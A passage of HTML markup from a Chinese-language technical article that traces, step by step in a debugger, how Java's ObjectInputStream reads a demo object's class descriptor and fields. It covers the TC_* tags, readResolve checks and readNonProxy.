style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_BLOCKDATALONG</code><span md-inline="plain" style="box-sizing: border-box;">——抛出异常信息，只是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式不同则抛出的异常信息不一样，开启</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式</span></span></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.5545243619489559" data-s="300,640" style="" data-type="jpeg" data-w="862" src="https://wechat2rss.xlab.app/img-proxy/?k=601487f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclOEAhgf6ANZjp6Y91N6sxcCXfczBo7vxJOU9mN4BF6hLq34hvUyiclOw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">如果读到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENDBLOCKDATA</code><span md-inline="plain" style="box-sizing: border-box;">——抛出异常信息，同上，只是不开启</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Data Block</code><span md-inline="plain" style="box-sizing: border-box;">模式</span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.4128686327077748" data-s="300,640" style="" data-type="jpeg" data-w="746" src="https://wechat2rss.xlab.app/img-proxy/?k=7b8cd8a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclSgH0Lb0icJkFCHnRWf9YOGklC5UbsBW41C9Qia3j0IR4iaAViavfbhJjSA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);">其他情况直接抛出异常信息</span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.16404494382022472" data-s="300,640" style="" data-type="jpeg" data-w="890" src="https://wechat2rss.xlab.app/img-proxy/?k=020a751d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclrBuw38rf8I5kauOIS4RSiaovtEJxUdcQhOYUAfARx4ttib5f1mAqHaBw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在上述过程中，如果遇见了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ARRAY</code><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_ENUM</code><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_OBJECT</code><span md-inline="plain" style="box-sizing: border-box;">，</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_STRING</code><span md-inline="plain" style="box-sizing: border-box;">以及</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_LONGSTRING</code><span md-inline="plain" style="box-sizing: border-box;">标记，那么会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">checkResolve</code><span md-inline="plain" style="box-sizing: border-box;">方法以检查反序列化的对象中是否重写了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readResolve</code><span md-inline="plain" style="box-sizing: border-box;">方法：</span></span></span></span></span></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.62109375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b90397a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclve8IXxI0Lbcp11wABTVRkjxfY5yl3W0l5GqModWr83QRXuZcFmhDwA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">若是重写，那么需要执行重写的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Resolve</code><span md-inline="plain" style="box-sizing: border-box;">流程，若没有重写，则 返回obj对象</span></span></p><p style="text-align: left;"><br/></p><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">在本demo中，最终走到的是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readOrdinaryObject</code></span><span md-inline="plain" style="box-sizing: border-box;">方法：</span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.116331096196868" data-s="300,640" style="" data-type="jpeg" data-w="894" src="https://wechat2rss.xlab.app/img-proxy/?k=c545df81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclSXv6wIkfiadR7iajxFQV057U6bGWLTKFCbMm0fruo2uwg43VI59Sic7Ew%2F640%3Fwx_fmt%3Djpeg"/></p><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: 26px;orphans: 4;white-space: pre-wrap;font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: rgb(0, 0, 0);caret-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-align: left;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">下断点后可以进入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readOradinaryObject</code><span md-inline="plain" style="box-sizing: border-box;">方法如下：</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.52109375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=750597de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclUtoMJibVLgLtaME0jGnhdibcHLLvibta24evqaw9f5jahrzDoUCR2Dc8Q%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">首先会再次判断读到的标识是不是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_OBJECT</code><span md-inline="plain" style="box-sizing: border-box;">，如果不是，那么直接抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">InternalError</code><span md-inline="plain" style="box-sizing: border-box;">错误</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">然后利用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readClassDesc</code><span md-inline="plain" style="box-sizing: border-box;">方法从系统中读取当前Java对象所属类的描述信息：</span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.75703125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=87db4e90&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVScl5pbSVXsRgROp4tQxfnCefZAonC6a2FnGu185af18zD5QPrzp2w0Oibw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">由于 Demo 是一个类对象，那么会走进</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readNonProxyDesc</code><span md-inline="plain" style="box-sizing: border-box;">：</span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.8484375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=25de334e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclxdiaKRbTkl3GMAldrEr4W6wCgTprP69luXXXuHos2fGFUTybRO12sdw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">同样的，该方法也再次判断是否有</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TC_CLASSDESC</code><span md-inline="plain" style="box-sizing: border-box;">标记，如果没有，那么抛出</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">InternalError</code><span md-inline="plain" style="box-sizing: border-box;">错误</span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">然后判断读取模式是什么，如果是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">，那么从</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">handles</code><span md-inline="plain" style="box-sizing: border-box;">对象的映射中读取一个新的desc，如果不是</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">，那么从</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unsharedMarker</code><span md-inline="plain" style="box-sizing: border-box;">中读取对应的对象</span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><strong style="box-sizing: border-box;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;text-size-adjust: auto;"><span md-inline="plain" style="box-sizing: border-box;">思考：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unsharedMarker</code></span><span md-inline="plain" style="box-sizing: border-box;">是什么？</span></strong></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unsharedMarker</code><span md-inline="plain" style="box-sizing: border-box;">用于存储对象的状态，可以把</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unsharedMarker</code><span md-inline="plain" style="box-sizing: border-box;">当成一个识别</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">状态的标记，在反序列化重建的过程中，其</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">状态的对象和非</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">unshared</code><span md-inline="plain" style="box-sizing: border-box;">状态的反序列化步骤不完全相同。</span></span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">接着进入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readClassDescriptor</code><span md-inline="plain" style="box-sizing: border-box;">方法：</span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.33687943262411346" data-s="300,640" style="" data-type="jpeg" data-w="1128" src="https://wechat2rss.xlab.app/img-proxy/?k=a4785a98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclPXmouTu9oT9sTeY1lszNdOMibqlmgWSIEH7kwrHTIlprl0IjbfEJWpg%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readClassDescriptor</code></span><span md-inline="plain" style="box-sizing: border-box;">会调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">方法读取当前类的元数据信息：</span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.94453125" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=9f8e1d31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclLRQoPyiaWfCweejKNl4ibDGScdR52N2JdDkTjPAHfD4DsuIpTOibiaythQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">在这个方法里，系统会先从字节流中读取类名信息</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">name = in.readUTF();</code><span md-inline="plain" style="box-sizing: border-box;">，其次从字节流中读取</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">serialVersionUID</code><span md-inline="plain" style="box-sizing: border-box;">的信息，然后再从字节流中读取各种</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">SC_*</code><span md-inline="plain" style="box-sizing: border-box;">标记信息，通过该标记信息设置对应的成员属性，最后从字节流中读取每一个字段的信息：</span></span></span></span></p><p style="text-align: left;"><img class="rich_pages" data-galleryid="" data-ratio="0.28359375" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=1b5ee9ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmprDOK1lkDE5AoOORPdVSclXIloHL6rpRM0CU0rsedKWJ1DmOicv83InUwnjrWxCwNg8RQn6OONIAA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: left;"><span md-inline="plain" style="box-sizing: border-box;">这些字段信息包括：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TypeCode</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fieldName</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fieldType</code><span md-inline="plain" style="box-sizing: border-box;">：</span></span></span></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">readNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">这里对应的方法是在序列化时使用的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">方法，在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">writeNonProxy</code><span md-inline="plain" style="box-sizing: border-box;">中写入的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">TypeCode</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">fieldName</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;text-align: left;font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(239, 112, 